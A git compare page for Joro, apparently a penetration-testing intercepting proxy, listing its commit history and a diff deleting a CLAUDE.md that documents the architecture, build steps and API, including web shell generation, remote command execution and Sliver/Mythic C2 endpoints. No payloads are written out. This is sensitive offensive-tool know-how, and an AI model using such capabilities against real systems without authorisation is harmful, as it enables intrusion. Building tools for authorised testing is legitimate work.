Compare commits

...
126 Commits
Author SHA1 Message Date
Tony West 376880c88d Increment version string 2026-10-30 19:04:26 -04:00
Tony West f7097f22d1 disable MPTCP by default to harden network listeners 2026-10-30 19:04:17 -04:00
Tony West bbe68abe7c Incremented version string 2026-10-29 21:08:03 -04:00
Tony West ee6083e311 fix to remove hosts from history once added to noise filter 2026-10-29 21:07:24 -04:00
Tony West 0f7b59fd0b Incremented version string 2026-10-28 20:51:50 -04:00
Tony West 78945ed001 Added context menu item to exclude hosts from scope 2026-10-28 20:51:13 -04:00
Tony West 647aebdba6 Fix incorrect error message when attempting to load API spec from a URL that does not host one 2026-10-28 20:21:25 -04:00
Tony West 4b3c4766e2 Fix for echo tab to improve UX 2026-10-28 19:59:17 -04:00
Tony West e6a9f1f348 Added missing context menu items to history table rows and site map 2026-10-28 19:04:51 -04:00
Tony West 01ba289b5e Fix missing error message on failed API spec load 2026-10-28 18:47:27 -04:00
Tony West 762c85454c Incremented version string 2026-10-14 02:59:14 -04:00
Tony West be27327a0d Update Tailwind to v4 2026-10-14 02:59:05 -04:00
Tony West f7889a0e1d Minor formatting adjustments 2026-10-14 02:43:56 -04:00
Tony West 5cdb71ac24 Enabled individual enable/disable toggle for custom request data items 2026-10-14 02:30:01 -04:00
Tony West 976e518298 Updated documentation 2026-10-14 02:12:33 -04:00
Tony West f80333451e Updated example image 2026-10-14 02:11:07 -04:00
Tony West bc446b1d64 Fixed various text size and alignment issues 2026-10-14 01:58:42 -04:00
Tony West ab06f4dbdb Updated default dashboard layout to add various vulnerability/threat intelligence feeds 2026-10-14 01:51:46 -04:00
Tony West 8dab71c673 Incremented version string 2026-10-07 00:24:35 -04:00
Tony West 1f6b5ef92b fix: suppress fail-closed scope warning for tokens with scope enforcement off 2026-10-07 00:24:02 -04:00
Tony West 472fdcd47b fix: clear SJ Automate and Auth Matrix results when a new document is loaded 2026-10-07 00:16:44 -04:00
Tony West 544b3b6e77 fix: add --compressed to generated curl commands when the request accepts a compressed encoding 2026-10-06 23:21:05 -04:00
Tony West 8214c8e804 Enhancement to return a per-token sha256 response hash from callback listeners to confirm out-of-band hits 2026-10-06 23:16:43 -04:00
Tony West 66cbe42207 Expanded active scanning with technology fingerprinting, template signatures, and injection detections 2026-10-06 22:41:37 -04:00
Tony West 6e3c834df4 Add active scanning feature with DOM XSS detection 2026-10-06 14:18:53 -04:00
Tony West aeb688148b Add built-in wordlists and payload generators to the fuzzer 2026-10-06 00:12:46 -04:00
Tony West 564f7027a7 Added line to start the Echo reflection scanner in proxy mode 2026-10-05 23:46:15 -04:00
Tony West 9a8de27f4b Fix SJ requests carrying no User-Agent when a document declares one as a header parameter 2026-09-29 09:56:10 -04:00
Tony West 2571e51ed6 Add Echo tab for mapping parameter reflections in captured traffic, and a parameter inventory on the Site Map 2026-09-28 15:49:27 -04:00
Tony West cab43a702c Added basic anomaly detection 2026-09-24 16:43:40 -04:00
Tony West 768c9b7000 Incremented version string 2026-09-22 20:08:27 -04:00
Tony West 8aabc8162f Fix sorting of HTTP/2 response headers so the same response serializes identically 2026-09-22 20:08:04 -04:00
Tony West c3f97d331f Add SJ and Chain tabs for offensive testing of API specification files and business logic flaw/workflow sequence testing 2026-09-22 19:46:01 -04:00
Tony West 043262089c Incremented version string 2026-09-11 21:50:47 -04:00
Tony West 033c07b5e3 Merge pull request #15 from BishopFox/dependabot/go_modules/google.golang.org/grpc-1.83.2
Bump google.golang.org/grpc from 1.83.1 to 1.83.2
2026-09-11 21:39:58 -04:00
dependabot[bot] 4492f21025 Bump google.golang.org/grpc from 1.83.1 to 1.83.2
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.83.1 to 1.83.2.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.83.1...v1.83.2)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-version: 1.83.2
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-09-08 22:14:32 +00:00
Tony West 4412752fc1 Incremented version string 2026-09-08 17:39:58 -04:00
Tony West 85c3e93d44 Merge pull request #14 from BishopFox/dependabot/npm_and_yarn/web/browserslist-4.28.9
Bump browserslist from 4.28.1 to 4.28.9 in /web
2026-09-08 17:30:07 -04:00
Tony West 0b647fe5bf Merge pull request #13 from BishopFox/dependabot/npm_and_yarn/web/postcss-selector-parser-6.1.4
Bump postcss-selector-parser from 6.1.2 to 6.1.4 in /web
2026-09-08 17:29:10 -04:00
Tony West a456e7fe61 Merge pull request #12 from BishopFox/dependabot/go_modules/google.golang.org/grpc-1.83.1
Bump google.golang.org/grpc from 1.82.1 to 1.83.1
2026-09-08 17:28:27 -04:00
dependabot[bot] 33ee9d7736 Bump browserslist from 4.28.1 to 4.28.9 in /web
Bumps [browserslist](https://github.com/browserslist/browserslist) from 4.28.1 to 4.28.9.
- [Release notes](https://github.com/browserslist/browserslist/releases)
- [Changelog](https://github.com/browserslist/browserslist/blob/main/CHANGELOG.md)
- [Commits](https://github.com/browserslist/browserslist/compare/4.28.1...4.28.9)

---
updated-dependencies:
- dependency-name: browserslist
  dependency-version: 4.28.9
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-09-07 06:31:07 +00:00
dependabot[bot] e3ac9ce064 Bump postcss-selector-parser from 6.1.2 to 6.1.4 in /web
Bumps [postcss-selector-parser](https://github.com/postcss/postcss-selector-parser) from 6.1.2 to 6.1.4.
- [Release notes](https://github.com/postcss/postcss-selector-parser/releases)
- [Changelog](https://github.com/postcss/postcss-selector-parser/blob/main/CHANGELOG.md)
- [Commits](https://github.com/postcss/postcss-selector-parser/compare/v6.1.2...6.1.4)

---
updated-dependencies:
- dependency-name: postcss-selector-parser
  dependency-version: 6.1.4
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-09-03 07:58:20 +00:00
dependabot[bot] e29aad08a0 Bump google.golang.org/grpc from 1.82.1 to 1.83.1
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.82.1 to 1.83.1.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.82.1...v1.83.1)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-version: 1.83.1
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-09-02 07:52:34 +00:00
Tony West 74f9ee92ad Fixed fatal startup crash caused by an unloadable plugin 2026-08-28 11:12:17 -04:00
Tony West 115c330be3 Incremented version string 2026-08-28 02:15:39 -04:00
Tony West 6f161faf39 Improved UI behavior within the Intercept tab 2026-08-28 02:13:15 -04:00
Tony West 8148e20316 Fixed missing streamer mode redaction on sliver C2 operator config field 2026-08-28 01:44:48 -04:00
Tony West 58cb32625e Fixed improper token gate on activity widget 2026-08-28 01:36:05 -04:00
Tony West c33a74412d Removed unused callback fields in Interact tab 2026-08-28 00:07:15 -04:00
Tony West ee1661eb9d Added webhook support 2026-08-27 23:19:08 -04:00
Tony West 1fb9429739 Fixed scripting interface for local command automations 2026-08-27 21:08:24 -04:00
Tony West 726d3718c3 Added the visual scripting interface to automations and lenses 2026-08-27 19:32:52 -04:00
Tony West 958162d92e Added support for custom triggers, along with visual scripting 2026-08-27 16:14:57 -04:00
Tony West fe79b6d11d Incremented version string 2026-08-24 14:53:09 -04:00
Tony West 4305b6b2a7 Added 'streamer mode' to redact sensitive infrastructure/configuration details on screen 2026-08-24 14:52:25 -04:00
Tony West ddfecf12f5 Parallelized the detection scan tick over the shared rescan worker pool 2026-08-24 13:41:35 -04:00
Tony West eb3cedf4fd Merge pull request #11 from BishopFox/wafdetect
detect: add passive WAF fingerprint rules
2026-08-24 11:13:56 -04:00
aringo-bf a6c6ea0ecf detect: add passive WAF fingerprint rules
Port the nuclei Global WAF Detect matchers into the built-in detect
library as 162 KindRegex rules (88 WAFs) at Info severity, Low confidence,
grouped per host, in the Disclosure category.

The engine matches one message part per rule, so each part: response WAF
becomes a header rule and a body rule sharing the pattern; part: header
and header/cookie-only WAFs get the header rule only, part: body the body
rule only. condition: and matchers use their most distinctive branch;
type: word matchers become escaped case-insensitive alternations.

Precision pass over the upstream signatures: dropped the alertlogic,
apachegeneric, and aspgeneric entries (all-generic server/404 text, no
vendor token) and the broad non-vendor branches of yundun, barikode,
securesphere, safedog, and modsecurityowasp. Exact WAF block-page
wordings are kept, including fortigate and akamai.

Performance: each rule carries an any-of Literals prescreen (Rule.Literals),
a set of guaranteed-present anchor substrings covering every alternation
branch, so the regex runs only when at least one anchor is in the haystack
instead of scanning the whole (up to 1 MB) body every time. 148 of 162
rules are prescreened; the 14 anchored only on a 2-3 char cookie/token
prefix (cloudflare, aws, cloudfront, teros, wts, west263, bigip, airlock)
run unscreened. Anchors are mandatory depth-0 literal runs only. WAF cost
on a 1 MB non-WAF body drops ~3.75s -> ~0.48s. Detection stays off the
proxy hot path (the 250ms scanner), so this is background CPU only.

Upstream signatures are attributed under third_party/nuclei (MIT,
ProjectDiscovery). All patterns compile under RE2 and are checked by
Engine.rebuild.
2026-08-21 19:07:45 -05:00
Tony West 2bf6222934 Updated dashboard example 2026-08-21 01:19:59 -04:00
Tony West cf6c0222d2 Added automation support for local command execution 2026-08-21 01:19:37 -04:00
Tony West 834f789e37 Fixed login surrounding deletion of project configuration files and plugins 2026-08-20 16:14:35 -04:00
Tony West 7e68ba1471 Incremented version string 2026-08-20 15:21:27 -04:00
Tony West 867470cb11 Added the capability to delete notes and findings through automation 2026-08-20 15:21:01 -04:00
Tony West 418208b237 Renamed the request argument ref to seq and suggested near-miss fields 2026-08-20 14:29:42 -04:00
Tony West 6a58a1ec93 Fixed the captured-request host filter being exact-match and failing silent 2026-08-20 13:56:58 -04:00
Tony West 727f80a7fa Fixed variable-length metadata preamble in http.read 2026-08-20 13:34:22 -04:00
Tony West dcce8c9200 Fixed http.read announcing the request's redactions on a response read 2026-08-20 13:18:31 -04:00
Tony West cd7d0effa4 Added script install and replace capabilities 2026-08-20 12:47:58 -04:00
Tony West 1f475de278 Removed CLAUDE.md file from the repo, as documentation will live in the wiki 2026-08-20 12:06:28 -04:00
Tony West 17b84d9c31 Fixed script permission logic in certain conditions 2026-08-20 11:28:50 -04:00
Tony West e018c7fcb0 Surfaced run budget configuration settings in the UI 2026-08-20 02:01:36 -04:00
Tony West b8cc32062d Updated documentation 2026-08-18 03:03:45 -04:00
Tony West 91e0bcdbb6 Incremented version string 2026-08-18 03:01:43 -04:00
Tony West 867bb5b81d Added automation lenses, run-on-request, and the history highlight capability 2026-08-18 03:00:01 -04:00
Tony West c0cb7dc9c6 Added installed JavaScript automations, event triggers, and a script editor 2026-08-18 01:38:34 -04:00
Tony West 3ea047f4a3 Added a sandboxed JavaScript scripting tier for automation clients 2026-08-17 22:47:08 -04:00
Tony West aca1e2c54e Moved plugin page to its own sub-tab within the Settings tab 2026-08-17 16:35:30 -04:00
Tony West e0ea3af925 Removed unnecessary test suite references and dead test-only code artifacts 2026-08-13 12:50:44 -04:00
Tony West 1f110f8725 Merge pull request #10 from BishopFox/dev/automation
Implements MCP server for automation capabilities
2026-08-11 18:38:24 -04:00
Tony West 9157ce9725 Updated documentation 2026-08-11 17:42:49 -04:00
Tony West 04833cad99 Added additional mcp capabilities for automation support 2026-08-11 17:42:43 -04:00
Tony West fa7df9244a Updated documentation 2026-08-11 14:40:46 -04:00
Tony West e894ca8bb5 Added additional capabilities to facilitate automation 2026-08-11 14:40:39 -04:00
Aaron Ringo 65eb19e277 Merge pull request #9 from BishopFox/fix/automation-h2-resend-eof
Fix automation resend EOF on HTTP/2-captured requests
2026-08-11 02:13:39 -05:00
aringo-bf f5d470f002 fix EOF in automation 2026-08-11 02:10:44 -05:00
Tony West 423de3cc9f Updated documentation 2026-08-11 00:03:18 -04:00
Tony West d170dae808 Added the ability to import scope via a file 2026-08-11 00:03:10 -04:00
Tony West b1609b173f Added automation capability registry and MCP server 2026-08-10 22:57:53 -04:00
Tony West 38a3cfc21d Updated documentation 2026-08-10 11:34:53 -04:00
Tony West 899b0327f9 Incremented version string 2026-08-05 13:56:28 -04:00
Tony West a03da3c3fd Updated documentation 2026-08-05 13:56:05 -04:00
Tony West ba729f0913 Added response interception capability 2026-08-05 13:55:58 -04:00
Tony West 58a37a18f9 Incremented version string 2026-08-03 15:38:38 -04:00
Tony West 8f25ff48bb Updated documentation 2026-08-03 15:38:28 -04:00
Tony West 58c013dfe7 Updated various detection rule severities 2026-08-03 15:38:21 -04:00
Tony West 9e1f047200 Updated documentation 2026-08-03 14:12:15 -04:00
Tony West fb7fa875ea Fixed visibility and filtering of ohttp requests 2026-08-03 14:12:08 -04:00
Tony West d32a04b5a0 Updated documentation 2026-08-01 00:43:00 -04:00
Tony West 682077f92b Updated detection rules 2026-08-01 00:42:52 -04:00
Tony West 9b914dcecd Updated documentation 2026-08-01 00:08:40 -04:00
Tony West fe4674d67d Added the ability to customize the dashboard page from the settings tab 2026-08-01 00:08:31 -04:00
Tony West 252e71c591 Incremented version string 2026-07-31 22:22:39 -04:00
Tony West 2bffc38e26 Updated documentation 2026-07-31 22:22:14 -04:00
Tony West 211079f02b Added basic functionality for passive vulnerability detection 2026-07-31 22:22:06 -04:00
Tony West dd98f31e0f Fixed filters for request method and status codes on the history and sitemap tabs 2026-07-27 16:27:38 -04:00
Tony West 95f690fc9f Bumped react/react-router version 2026-07-27 16:06:53 -04:00
Tony West 80c30ac84a Merge pull request #8 from BishopFox/dependabot/npm_and_yarn/web/postcss-8.5.23
Bump postcss from 8.5.15 to 8.5.23 in /web
2026-07-27 12:36:35 -04:00
dependabot[bot] 827c6fd0e8 Bump postcss from 8.5.15 to 8.5.23 in /web
Bumps [postcss](https://github.com/postcss/postcss) from 8.5.15 to 8.5.23.
- [Release notes](https://github.com/postcss/postcss/releases)
- [Changelog](https://github.com/postcss/postcss/blob/main/CHANGELOG.md)
- [Commits](https://github.com/postcss/postcss/compare/8.5.15...8.5.23)

---
updated-dependencies:
- dependency-name: postcss
  dependency-version: 8.5.23
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-07-27 15:01:19 +00:00
Tony West 53e444cdd3 Merge pull request #7 from BishopFox/dependabot/go_modules/google.golang.org/grpc-1.82.1
Bump google.golang.org/grpc from 1.79.3 to 1.82.1
2026-07-27 10:58:23 -04:00
dependabot[bot] 5f21650479 Bump google.golang.org/grpc from 1.79.3 to 1.82.1
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.79.3 to 1.82.1.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.79.3...v1.82.1)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-version: 1.82.1
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-07-23 22:24:27 +00:00
Tony West 8ea9d0070d Incremented version string 2026-07-23 18:23:18 -04:00
Tony West f7d9c280ae Updated documentation 2026-07-23 18:23:00 -04:00
Tony West 2ffb556204 Added lucide icon library for UI improvements 2026-07-23 18:22:51 -04:00
Tony West 40cc14b55e Updated UI element for the save project item in the project dropdown 2026-07-23 17:22:19 -04:00
Tony West 2cb58ba686 Updated documentation 2026-07-23 17:02:44 -04:00
Tony West cc661b38b9 Added Mythic C2 support 2026-07-23 17:02:34 -04:00
Tony West 720f47bf5b Removed the non-functional delete button from the user config settings area 2026-07-23 16:07:27 -04:00
Tony West 2001b644ba Added delete option for sitemap hosts/endpoints 2026-07-23 15:59:48 -04:00
Tony West 93e80734c0 Incremented version string 2026-07-22 22:12:04 -04:00
Tony West 8e1c8dd5ae Updated documentation 2026-07-22 22:11:46 -04:00
Tony West d31cb674fe Additional project settings UI improvements 2026-07-22 22:11:37 -04:00
Tony West ea78f26fd7 Added basic search and filter functionality to the sitemap tab 2026-07-22 21:58:31 -04:00
Tony West 560ddd6352 Added save project button for projects with auto-save disabled 2026-07-22 19:30:12 -04:00
Tony West ac68a8655c Added improved project management features, reworked various areas of the UI 2026-07-22 19:07:54 -04:00
Tony West 9d07e05740 Incremented version string 2026-07-17 17:07:48 -04:00
Tony West 559a281451 Added the ability to launch an integrated testing browser 2026-07-17 17:07:21 -04:00
479 changed files with 313917 additions and 5587 deletions

No files matched your search

+6
View File
@@ -10,3 +10,9 @@ web/node_modules/
# Go modules
/vendor/
# Tests are not committed to the public repo
*test*.go
# Agent instructions are local-only
CLAUDE.md
-354
View File
@@ -1,354 +0,0 @@
# Joro - Claude Code Instructions
## Keeping This File Fresh
**Update this file whenever significant changes are made to the project** - new packages, changed commands, architectural decisions, or new conventions. Outdated instructions cause mistakes. If you add a dependency, change a build step, or restructure a package, update the relevant section here before finishing the task.
---
## Project Overview
Joro is an intercepting HTTP/HTTPS proxy and web shell toolkit for penetration testing. It is a single Go binary that starts a proxy server and serves a React web UI - there is no CLI mode.
Three modes:
- **Proxy mode** (default): intercepting proxy + web UI
- **Listener mode** (`--listener`): out-of-band callback server (DNS + HTTP + SMTP) for blind vuln detection
- **Team Server mode** (`--listener --teamserver`): listener + authenticated team collaboration (chat, notes, flagged requests, shared project configs + collaboration swap)
Ports & paths:
- Proxy `:8080` (`--proxy-port`), UI/API `:9090` (`--ui-port`)
- Data dir `~/.joro/` — CA cert/key + `callbacks.db`
- Listener: DNS `:53` (`--dns-port`), HTTP `:80` (`--http-port`), HTTPS `:443` (`--https-port`, `0` to disable), SMTP `:25` (`--smtp-port`, `0` to disable), SMTPS `:465` (`--smtps-port`, `0` to disable), FTP `:21` (`--ftp-port`, `0` to disable), FTPS `:0` (`--ftps-port`, implicit TLS, disabled by default), LDAP `:389` (`--ldap-port`, `0` to disable), LDAPS `:0` (`--ldaps-port`, implicit TLS, disabled by default), domain via `--domain` or UI, optional external TLS cert via `--tls-cert` + `--tls-key` (both required; replaces the auto-generated self-signed leaf, shared by HTTPS/SMTPS/FTPS/LDAPS and STARTTLS)
---
## Repository Structure
```
main.go Entrypoint (proxy or listener mode)
internal/
config/ Config struct + defaults
event/ Shared WSEvent struct (avoids proxy/callback import cycle)
callback/ SQLite (modernc.org/sqlite), token CRUD, DNS + HTTP listeners
cert/ ECDSA P-256 CA, leaf gen, sync.Map cache
proxy/
handler.go ServeHTTP: CONNECT vs plain HTTP
mitm.go TLS termination + HTTP/1.1 loop
intercept.go Per-request channel queue with timeout
noise.go Silently tunnels browser background traffic
scope.go Two-level scope (host + method/path)
store.go Thread-safe ring buffer
replace.go Match & Replace (raw-byte rules)
customdata.go Additive header/query/body injection
websocket.go ws_relay.go ws_store.go WS MITM (custom frames over net.Conn)
ws_manipulate.go User-driven outbound WS sessions
client.go helpers.go HTTP client + utilities
team/ Team chat + notes tables, bearer-token auth middleware
fuzzer/ Goroutine-pool fuzzer + in-memory campaign store (max 50)
shell/ ASP/ASPX/PHP/etc. shell gen + executor + dictionary
sliver/ gRPC client for Sliver C2 (custom protowire encoding)
plugins/ Plugin lifecycle: load, categorize, init, shutdown
api/
server.go routes.go APIServer + route registration + SPA embedding
ws.go WebSocket hub (gorilla/websocket)
handlers_*.go Per-feature handlers (requests, intercept, manipulate,
generate, execute, fuzzer, settings, certs, callbacks,
replace, customdata, plugins, team, sliver, ws, ...)
ws_relay.go Relay to teamserver, forwards team.* events
sdk/sdk.go Plugin SDK: interfaces, types, constants (separate Go module)
web/
embed.go //go:embed dist
dist/ Built frontend (gitignored except placeholder)
src/
main.tsx App.tsx index.css vite-env.d.ts
themes/bishop-fox.css Default dark theme (BF brand palette)
lib/api.ts ws.ts Typed fetch wrapper + WS singleton (auto-reconnect)
lib/deaddrop.ts .jord export/import (gzip via CompressionStream, base64 raw bytes)
stores/*.ts Zustand: request, fuzz, intercept, settings, callback,
ws, manipulateWS, team, teamFlagged, teamSharedConfig, deadDrop
pages/ History, Intercept, Manipulate (HTTP+WS), Generator,
Executor, Fuzz, DeadDrop, Login, Settings, Callbacks, Plugins,
PluginTabPage
components/ DynamicConfigForm (auto-gen plugin ExecProvider config)
examples/plugins/
hello-provider/ ExecProvider + GraphProvider example
hello-tab/ hello-feature/ Top-level tab + sub-tab plugin examples
hello-dashboard/ Dashboard replacement example
interactsh/ InteractProvider: stdlib-only interactsh client
Makefile build, build-frontend, build-all, dev, clean
```
---
## Build Commands
```bash
go build ./... # Go-only (uses placeholder frontend, works without npm)
make build # Full (frontend + Go binary)
make build-all # Cross-platform → dist/
make dev # Backend with --dev flag (proxies UI to Vite)
cd web && npm run dev # Vite dev server (separate terminal, with `make dev`)
# Build a plugin from source (auto-detects .so vs .dylib)
./joro --build-plugin examples/plugins/hello-feature
./joro --build-plugin examples/plugins/hello-feature --install # also installs to ~/.joro/plugins/
# Or manually:
cd examples/plugins/hello-feature
go build -buildmode=plugin -o hello-feature.dylib . # macOS
go build -buildmode=plugin -o hello-feature.so . # Linux
```
### Releases
Tagged releases use [goreleaser](https://goreleaser.com) (config: `.goreleaser.yaml`). `make build` / `make build-all` are the local-dev workflow; goreleaser is only for cutting releases.
```bash
goreleaser release --snapshot --clean # Local snapshot — sanity check config
goreleaser check # Verify config syntax
git tag v1.0.1 && git push --tags && goreleaser release --clean # Cut release (needs GITHUB_TOKEN)
```
Goreleaser produces 6 binaries (linux/{amd64,arm64}, darwin/{amd64,arm64}, windows/{amd64,arm64}) in tar.gz/zip archives with LICENSE + README, plus `checksums.txt`. All targets are built with `CGO_ENABLED=1` via `zig cc` cross-compilers — required so Go's `plugin` package (dlopen-based) works in release binaries. `make build-all` mirrors the goreleaser config (also CGO=1 + zig cc) and produces all 6 targets. **Requires `zig` on PATH** (`brew install zig`); the goreleaser `before:` hook fails fast if it's missing. Linux glibc is pinned to 2.17 for wide compat. Releases are created as **drafts** so the operator publishes manually. `-X main.version={{.Tag}}` and `-X main.commit={{.ShortCommit}}` are injected at link time. Asset name template (`joro_<version>_<os>_<arch>.tar.gz|zip`) is duplicated in `internal/update/update.go` (`runBinaryUpdate`) — keep them in sync.
**`--build-plugin` flag forwarding.** `runBuildPlugin` in `main.go` reads `runtime/debug.BuildInfo` from the running binary and forwards ABI-relevant settings to the child `go build -buildmode=plugin`: `-trimpath`, `-tags` (e.g. `netgo,osusergo`), and `CGO_ENABLED` / `GOARM64` / `GOAMD64` env. The child build must inherit these so stdlib package hashes match the host: a release host (built with `-trimpath -tags netgo,osusergo`) and a plugin built bare hash stdlib packages differently, so dlopen rejects with `plugin was built with a different version of package internal/goarch`. The build banner prints the resolved `Flags:` and `Env:` so mismatches are visible. If a plugin fails to load with `different version of package …`, check that `go version` (run from the plugin's source dir) matches the host binary's `runtime.Version()`.
**Plugin go.mod must require the SDK at the host's pseudo-version.** Under `-trimpath`, the Go compiler bakes the SDK's module version string into the position info embedded in exported declarations, which is part of the package's export hash (`go:link.pkghashbytes.github.com/BishopFox/joro/sdk`). The host's `go.mod` requires `github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000` (Go's canonical zero pseudo-version, auto-generated by `go mod tidy` for a local-replace dep with no real tag), so a plugin must require the same full pseudo-version — a plain `v0.0.0` produces a different export hash even with identical source and replace target, and `plugin.Open()` rejects with `different version of package github.com/BishopFox/joro/sdk`. The 5 example plugin go.mod files all use the full pseudo-version — do the same in any new plugin. (Only `-trimpath` (goreleaser) builds require the match; without it, position info uses absolute paths that happen to align, so `make build` + `--build-plugin` tolerate the mismatch.)
### In-app updater install modes
`internal/update/update.go` detects how the running binary was installed:
- **Git mode** (`.git` dir alongside executable): `git fetch` + parse upstream `main.go` version literal; update via `git pull --ff-only` + `make build`.
- **Binary mode** (no `.git`): hits `GET /repos/BishopFox/joro/releases/latest`, downloads matching archive + `checksums.txt`, verifies SHA-256, atomically replaces the running binary.
Both paths fail silently on errors (no network, rate limit, missing `git`, bad checksum) — startup is never blocked. After successful update, `update.Restart()` re-execs.
---
## Frontend Development
Source in `web/`. TypeScript/React/Vite.
```bash
cd web
npm install # install dependencies
npm run dev # Vite dev server on :5173 (use with `make dev`)
npm run build # output to web/dist/ (embedded into Go binary)
```
**npm registry:** machine may be on a private registry. If `npm install` fails, check `npm config get registry` and `npm config delete registry`.
---
## API Reference
All under `/api/v1/`. Request/response shapes are JSON unless noted. WebSocket events stream from `/ws`.
**History & intercept**
- `GET/DELETE /requests`, `GET /requests/:id` — paginated history with filters; raw bytes base64. Filters: `host`, `method`, `status`, `search` (URL substring), `exclude`+`extMode` (file extensions), `contentType`, `scope_only`, and `content`+`contentMode` (`include`/`exclude`) +`contentRegex` (`true`) — matches a string (case-insensitive) or regex against the **raw request + response bytes**. Content search is server-side only (raw bytes aren't in the WS summary), so live-streamed rows bypass it until reload — same as the other body/URL filters.
- `GET /intercept`, `PUT /intercept/enabled`, `POST /intercept/:id/{forward,drop}` — queue control; forward accepts modified `reqRaw` base64
**Manipulate**
- `POST /manipulate/send` — raw HTTP `{raw b64, scheme, host}`
- `POST /manipulate/ws/connect` — `{raw b64, scheme: ws|wss, host}` → `{sessionId, status, rawResp, error}` (always 200; sessionId empty on failure)
- `POST /manipulate/ws/{id}/send` — `{opcode: text|binary|ping|pong|close, payload b64}`
- `POST /manipulate/ws/{id}/disconnect`
**Shells**
- `POST /generate` — `{format: php|asp|aspx|ashx|jsp|cfm}`
- `POST /execute` — `{target, webshell, authKey, command}`
**Fuzzer**
- `POST /fuzzer/start` — `{raw, scheme, host, wordlist[], wordlists?, attackMode?, threads, rateLimit, followRedirects, updateContentLength?, matchers, filters}`
- `POST /fuzzer/{id}/stop`, `GET /fuzzer/campaigns`, `GET /fuzzer/campaigns/{id}` (paginated results), `DELETE /fuzzer/campaigns/{id}`
- `POST /fuzzer/wordlist` — multipart upload → `{lines[], count}`
**Filters & rules** (each: `GET`, `PUT /enabled`, `POST` add, `DELETE /{id}`)
- `/noise` — `{pattern}`
- `/scope/rules` — `{pattern, methods, path, include}`
- `/replace/rules` — `{target, matchType, match, replace}` (target ∈ request_header, request_body, response_header, response_body, ws_message)
- `/customdata/items` — `{type, name, value}`
**WebSocket capture**
- `GET /ws/messages?host=&offset=&limit=`, `DELETE /ws/messages`
**Settings & system**
- `GET/PUT /settings`, `GET /certs/ca.crt`, `GET /mode` (returns `{mode: proxy|listener}`)
- `POST /system/restart` — graceful re-exec
**Callbacks (listener mode)**
- `GET/PUT /callbacks/config` — `{domain, responseIp}`
- `GET/POST /callbacks/tokens`, `DELETE /callbacks/tokens/{id}` (cascade)
- `GET/DELETE /callbacks/interactions?token_id=`
**Sliver C2**
- `GET /sliver/status`, `POST /sliver/{connect,disconnect}`, `GET /sliver/sessions`
- `POST /sliver/execute` — `{sessionId, command, args}`
- `POST /sliver/command` — `{input}` → `{output, error, downloadId?, filename?}` (text command dispatcher)
- `GET /sliver/download/{id}` (60s TTL cache), `POST /sliver/upload` (multipart)
**Team server** (auth: `Authorization: Bearer <token>` + `X-Joro-Nickname`)
- `GET/POST /team/chat`, `GET /team/users` (returns `[{nickname, status, projectId}]`), `POST /team/nickname` (`{oldNickname, newNickname}`), `POST /team/presence` (`{status, projectId}` — sets the caller's presence metadata)
- `GET /team/notes/hosts`, `GET/POST /team/notes`, `PUT /team/notes/{id}` (edit content), `DELETE /team/notes/{id}` — **PUT/DELETE are author-only** (soft ownership: 403 if `X-Joro-Nickname` ≠ note author). Local notes mirror this with `PUT /notes/{id}` (no ownership check — single operator). An **empty `host`** on create/list is the host-less "General" bucket (both team + local notes); the UI pins a **General** entry atop the Hosts list.
- `GET/POST /team/flagged`, `GET /team/flagged/{id}`, `DELETE /team/flagged/{id}` — shared flagged requests; POST body `{host, method, url, status, reqRaw b64, respRaw b64, note}` stores the artifact **and** posts a referencing chat message; list returns summaries (no raw bytes); get-one returns raw `reqRaw`/`respRaw` base64 + `truncated`
- `GET/POST /team/configs`, `GET /team/configs/{id}`, `DELETE /team/configs/{id}` — published (shared) project configs; POST `{name, projectId, config}` where `config` is base64(gzipped `projectConfigFile`) built by the proxy's `GET /configs/export`; list omits the blob; get-one returns it. The teamserver treats `config` as opaque.
- `POST /team/collab`, `GET /team/collab/{id}`, `POST /team/collab/{id}/accept` — collaboration requests; POST `{projectId, note, config}` where `config` is a JSON 3-field bundle (scope/M&R/customdata); posts a `refType:"collab"` chat chip
- (proxy-local, not team) `GET /api/v1/configs/export`, `POST /api/v1/configs/import` `{name, config}` (writes a **new** local project + loads it, preserving the importer's nickname, 409 on name collision), `POST /api/v1/configs/apply-shared` `{config, mode: replace|merge}` (applies scope/M&R/customdata to live state only)
**Plugins**
- `GET /plugins`, `POST /plugins/upload` (multipart, 32MB max), `DELETE /plugins/{filename}` (restart required)
- `GET /plugins/{exec-providers,interact-providers,graph}`
- Per-plugin exec: `GET /plugin/{name}/status`, `POST /plugin/{name}/{connect,disconnect,command}`
- Per-plugin interact: `GET/POST /plugin/{name}/interact/instances`, `DELETE /plugin/{name}/interact/instances/{id}`, `PUT .../enabled`, `GET/DELETE /plugin/{name}/interact/interactions?instance_id=`
### WebSocket Events (over `/ws`)
```
request.captured { ...RequestSummary }
intercept.queued { id, method, url, host, reqRaw }
intercept.resolved { id, action: forward|drop }
callback.interaction { ...Interaction }
ws.message { id, connectionId, timestamp, direction, opcode, payloadLength, payload, host, url, isText }
team.chat { id, author, text, refId?, createdAt }
team.note { id, host, content, author, createdAt, updatedAt } (fires on create + edit)
team.note.deleted { id }
team.flagged { id, host, method, url, status, truncated, note, author, createdAt }
team.flagged.deleted { id }
team.config { id, name, projectId, author, createdAt }
team.config.deleted { id }
team.collab.request { id, requestor, projectId, note, status, createdAt }
team.collab.accepted { id, acceptedBy }
